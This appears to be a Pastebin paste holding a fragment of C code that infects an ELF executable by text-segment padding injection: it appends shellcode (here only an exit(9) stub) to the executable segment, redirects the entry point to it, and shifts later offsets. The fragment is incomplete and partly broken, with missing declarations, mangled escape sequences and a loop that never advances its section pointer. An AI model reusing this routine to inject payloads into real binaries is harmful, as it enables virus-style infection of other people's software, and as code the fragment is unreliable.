Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. // exit(9)
  2. unsigned char shellcode[] = "xb0x3c"
  3. "x40xb7x09"
  4. "x0fx05";
  5.  
  6.  
  7.  
  8.  
  9. for (i = 0; i < ehdr->e_phnum; ++i)
  10. {
  11.  
  12. if (text_found)
  13. {
  14. phdr[i].p_offset += PAGE_SIZE;
  15. continue;
  16. }
  17.  
  18.  
  19. if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == ( PF_R | PF_X))
  20. {
  21. // set buffer to the end of the text segment
  22. buffer_addr = phdr[i].p_vaddr + phdr[i].p_filesz;
  23. text_end = phdr[i].p_vaddr + phdr[i].p_filesz;
  24.  
  25. printf("TEXT SEGMENT ends at 0x%xn", text_end);
  26. text_idx = i;
  27.  
  28. puts("Changing entry point...");
  29. ehdr->e_entry = (Elf64_Addr)buffer_addr;
  30.  
  31. memmove(mapped_file + phdr[i].p_offset + phdr[i].p_filesz,
  32. shellcode, buffer_len);
  33.  
  34.  
  35. phdr[i].p_filesz += buffer_len;
  36. phdr[i].p_memsz += buffer_len;
  37.  
  38. text_found++;
  39. }
  40.  
  41.  
  42. }
  43.  
  44. //patch sections
  45.  
  46. for (i = 0; i < ehdr->e_shnum; ++i)
  47. {
  48. if (shdr->sh_offset >= buffer_addr)
  49. shdr->sh_offset += PAGE_SIZE;
  50.  
  51. else
  52. if (shdr->sh_size + shdr->sh_addr == buffer_addr)
  53. shdr->sh_size += buffer_len;
  54. }
  55.  
  56. ehdr->e_shoff += PAGE_SIZE;
  57. close(fd);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement